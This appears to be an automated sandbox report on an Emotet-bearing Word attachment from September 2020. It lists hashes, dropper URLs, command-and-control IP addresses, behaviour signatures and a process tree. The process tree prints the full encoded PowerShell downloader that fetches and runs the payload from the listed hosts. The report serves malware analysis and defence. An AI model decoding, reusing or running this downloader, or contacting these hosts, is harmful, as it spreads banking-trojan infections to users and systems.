Overview

overview

10

Static

static

8

Attachment...22.doc

windows7_x64

10

Attachment...22.doc

windows10_x64

10

Analysis

  • max time kernel
    62s
  • max time network
    144s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    17/09/2020, 18:50

Sharing

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Report Analysis Logs

General

  • Target
    Attachments_2020_09_17_52722.doc
  • Size 158KB
  • Sample200917-qjgf8a8aa2
  • SHA256 7b1c371b484f9023040b2c33f3dc93e9269363924eaa089bef3e4f734362ccf2
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://zcomunicacion.com/wp-admin/Z/
  • exe.dropper

    http://cooldoggraphics.com/wp-content/Pge/
  • exe.dropper

    http://canyonplastering.com/wp-content/ZWX/
  • exe.dropper

    https://stochile.com/sto/PKP/
  • exe.dropper

    http://voxdream.com/wp-includes/rd/
  • exe.dropper

    https://www.valetourvirtual.com/vapor/mp/
  • exe.dropper

    http://z.89fk.top/user/e/

Extracted

Family

  • emotet

C2

  • 91.105.94.200:80

  • 51.38.124.206:80

  • 38.88.126.202:8080

  • 54.37.42.48:8080

  • 189.2.177.210:443

  • 181.30.61.163:443

  • 185.178.10.77:80

  • 199.203.62.165:80

  • 177.73.0.98:443

  • 87.106.46.107:8080

  • 5.196.35.138:7080

  • 5.189.178.202:8080

  • 185.183.16.47:80

  • 78.249.119.122:80

  • 191.182.6.118:80

  • 96.227.52.8:443

  • 186.103.141.250:443

  • 50.28.51.143:8080

  • 111.67.12.221:8080

  • 50.121.220.50:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 8 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Attachments_2020_09_17_52722.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1088
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -encod JABYAGMAcQB4AGQAYgBrAD0AKAAoACcATQB2ACcAKwAnAHYAJwApACsAJwBpADcAJwArACcAMABkACcAKQA7AC4AKAAnAG4AZQB3AC0AJwArACcAaQAnACsAJwB0AGUAbQAnACkAIAAkAGUATgBWADoAVQBTAGUAcgBQAFIATwBmAGkAbABFAFwAYwB3AFIAMAByAHoAegBcAG4ASwBsAFgANABtAFQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIAZQBDAHQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAHUAYABSAGkAYABUAHkAYABwAFIAbwB0AG8AQwBPAGwAIgAgAD0AIAAoACgAJwB0AGwAJwArACcAcwAnACkAKwAnADEAMgAnACsAJwAsACcAKwAoACcAIAB0AGwAcwAnACsAJwAxACcAKwAnADEAJwApACsAJwAsACAAJwArACgAJwB0AGwAJwArACcAcwAnACkAKQA7ACQAVgBrAGkAagA4ADMAYQAgAD0AIAAoACgAJwBKACcAKwAnAGkAbABmACcAKQArACcAZwAnACsAJwBrADkAJwApADsAJABZADMAeQAxAHUAbABuAD0AKAAoACcAVAAnACsAJwBuAG4ANgAnACkAKwAoACcAbQBuACcAKwAnADUAJwApACkAOwAkAFAAeQBiAGcAYQA2ADAAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwA2AGUAJwArACcARQBDACcAKQArACgAJwB3ACcAKwAnAHIAMAAnACkAKwAoACcAcgB6AHoANgBlAEUATgBrACcAKwAnAGwAJwArACcAeAAnACsAJwA0ACcAKQArACgAJwBtAHQANgAnACsAJwBlAEUAJwApACkAIAAgAC0AYwByAEUAcABMAGEAYwBFACAAKABbAGMASABhAFIAXQA1ADQAKwBbAGMASABhAFIAXQAxADAAMQArAFsAYwBIAGEAUgBdADYAOQApACwAWwBjAEgAYQBSAF0AOQAyACkAKwAkAFYAawBpAGoAOAAzAGEAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEkAeABzADcAZQByAHAAPQAoACgAJwBFACcAKwAnAGEAawB2ACcAKQArACgAJwBhAG4AJwArACcAegAnACkAKQA7ACQATgBlAHIAYQBsAGUAaQA9AC4AKAAnAG4AZQB3AC0AJwArACcAbwBiAGoAJwArACcAZQBjAHQAJwApACAATgBlAHQALgB3AEUAYgBjAGwASQBlAG4AdAA7ACQAUwBwADIAcAB0AGUAaAA9ACgAKAAnAGgAdAB0ACcAKwAnAHAAOgAnACsAJwAvAC8AegBjAG8AJwApACsAJwBtAHUAJwArACcAbgBpACcAKwAnAGMAJwArACcAYQAnACsAJwBjACcAKwAoACcAaQBvACcAKwAnAG4AJwApACsAKAAnAC4AJwArACcAYwBvAG0AJwArACcALwB3AHAAJwApACsAJwAtACcAKwAoACcAYQBkACcAKwAnAG0AJwApACsAKAAnAGkAJwArACcAbgAvACcAKQArACgAJwBaACcAKwAnAC8AKgBoACcAKQArACgAJwB0AHQAcAAnACsAJwA6AC8ALwAnACsAJwBjACcAKQArACgAJwBvACcAKwAnAG8AbAAnACkAKwAnAGQAbwAnACsAKAAnAGcAZwByAGEAJwArACcAcAAnACsAJwBoAGkAYwAnACsAJwBzACcAKwAnAC4AYwBvAG0AJwApACsAJwAvACcAKwAoACcAdwBwAC0AJwArACcAYwBvACcAKwAnAG4AdAAnACkAKwAnAGUAJwArACgAJwBuAHQALwBQACcAKwAnAGcAJwApACsAJwBlACcAKwAoACcALwAqAGgAJwArACcAdAB0ACcAKQArACgAJwBwADoALwAnACsAJwAvAGMAJwApACsAKAAnAGEAJwArACcAbgB5ACcAKQArACcAbwBuACcAKwAnAHAAJwArACgAJwBsAGEAcwAnACsAJwB0ACcAKwAnAGUAcgBpACcAKwAnAG4AZwAuAGMAbwBtACcAKwAnAC8AJwApACsAKAAnAHcAcAAnACsAJwAtAGMAJwApACsAKAAnAG8AJwArACcAbgB0AGUAbgB0ACcAKQArACgAJwAvAFoAVwBYAC8AKgAnACsAJwBoAHQAJwApACsAJwB0ACcAKwAoACcAcABzACcAKwAnADoALwAvAHMAJwApACsAJwB0AG8AJwArACcAYwAnACsAKAAnAGgAJwArACcAaQBsAGUAJwApACsAJwAuAGMAJwArACcAbwBtACcAKwAoACcALwBzACcAKwAnAHQAbwAvACcAKQArACcAUABLACcAKwAoACcAUAAvACcAKwAnACoAaAB0AHQAJwApACsAJwBwACcAKwAnADoALwAnACsAKAAnAC8AdgAnACsAJwBvACcAKwAnAHgAZAByAGUAJwApACsAKAAnAGEAbQAnACsAJwAuACcAKwAnAGMAbwBtAC8AdwAnACkAKwAoACcAcAAtAGkAJwArACcAbgBjACcAKwAnAGwAdQBkACcAKQArACgAJwBlAHMAJwArACcALwByAGQALwAqACcAKQArACcAaAB0ACcAKwAnAHQAJwArACgAJwBwAHMAOgAnACsAJwAvAC8AdwAnACkAKwAoACcAdwB3AC4AdgAnACsAJwBhAGwAJwApACsAKAAnAGUAdABvACcAKwAnAHUAJwApACsAKAAnAHIAJwArACcAdgBpAHIAJwApACsAJwB0ACcAKwAoACcAdQBhACcAKwAnAGwALgBjAG8AbQAvAHYAYQAnACsAJwBwAG8AcgAvAG0AcAAnACsAJwAvACcAKQArACgAJwAqAGgAdAAnACsAJwB0AHAAJwApACsAJwA6AC8AJwArACcALwAnACsAJwB6ACcAKwAnAC4AJwArACgAJwA4ADkAZgAnACsAJwBrAC4AdABvACcAKQArACgAJwBwACcAKwAnAC8AdQAnACkAKwAnAHMAZQAnACsAJwByAC8AJwArACcAZQAnACsAJwAvACcAKQAuACIAUwBQAGAATABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABEAHUAegBsAG8AdQBrAD0AKAAnAEcAJwArACgAJwBjACcAKwAnAHIAcwAnACkAKwAoACcAdgAnACsAJwBqADkAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABCAG4AZQBwADMAeABpACAAaQBuACAAJABTAHAAMgBwAHQAZQBoACkAewB0AHIAeQB7ACQATgBlAHIAYQBsAGUAaQAuACIAZABvAGAAVwBOAEwAYABvAEEARABGAGkAbABFACIAKAAkAEIAbgBlAHAAMwB4AGkALAAgACQAUAB5AGIAZwBhADYAMAApADsAJABLAGoANQB1ADQAYwAyAD0AKAAnAEoAJwArACcAZAAnACsAKAAnAHQAdABiADQAJwArACcAcwAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABQAHkAYgBnAGEANgAwACkALgAiAGwAYABFAE4ARwB0AGgAIgAgAC0AZwBlACAAMgA3ADgAMgA5ACkAIAB7AC4AKAAnAEkAbgAnACsAJwB2AG8AawBlAC0ASQAnACsAJwB0AGUAbQAnACkAKAAkAFAAeQBiAGcAYQA2ADAAKQA7ACQAVAB6ADMAegBzAHkAMwA9ACgAKAAnAEkAJwArACcAeABjACcAKQArACgAJwBfACcAKwAnADgAXwA5ACcAKQApADsAYgByAGUAYQBrADsAJABIAGcAMgB0AGYANQBkAD0AKAAoACcARgAwAGwAYgAnACsAJwAyACcAKQArACcAZQBxACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQwA2ADYAdQBnAGwAOAA9ACgAKAAnAEIAaAAnACsAJwBxAHAAegAnACkAKwAnAHMAcQAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1908
    • C:\Users\Admin\Cwr0rzz\Nklx4mt\Jilfgk9.exe
      "C:\Users\Admin\Cwr0rzz\Nklx4mt\Jilfgk9.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1152
      • C:\Windows\SysWOW64\KBDROPR\rtffilt.exe
        "C:\Windows\SysWOW64\KBDROPR\rtffilt.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:916

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/916-21-0x00000000003C0000-0x00000000003D2000-memory.dmp
        Download

        memory/916-22-0x00000000003E0000-0x00000000003F0000-memory.dmp
        Download

        memory/1088-5-0x0000000006E20000-0x0000000007020000-memory.dmp
        Download

        memory/1088-2-0x00000000089B0000-0x00000000089B4000-memory.dmp
        Download

        memory/1088-6-0x0000000006E20000-0x0000000007020000-memory.dmp
        Download

        memory/1088-4-0x0000000006E20000-0x0000000007020000-memory.dmp
        Download

        memory/1088-3-0x0000000006E20000-0x0000000007020000-memory.dmp
        Download

        memory/1152-17-0x0000000000340000-0x0000000000350000-memory.dmp
        Download

        memory/1152-16-0x00000000003D0000-0x00000000003E2000-memory.dmp
        Download

        memory/1848-23-0x000007FEF6980000-0x000007FEF6BFA000-memory.dmp
        Download

        memory/1908-7-0x000007FEEEE80000-0x000007FEEF86C000-memory.dmp
        Download

        memory/1908-13-0x000000001B780000-0x000000001B781000-memory.dmp
        Download

        memory/1908-12-0x000000001B440000-0x000000001B441000-memory.dmp
        Download

        memory/1908-11-0x0000000002490000-0x0000000002491000-memory.dmp
        Download

        memory/1908-10-0x0000000002540000-0x0000000002541000-memory.dmp
        Download

        memory/1908-9-0x000000001AAD0000-0x000000001AAD1000-memory.dmp
        Download

        memory/1908-8-0x0000000002350000-0x0000000002351000-memory.dmp
        Download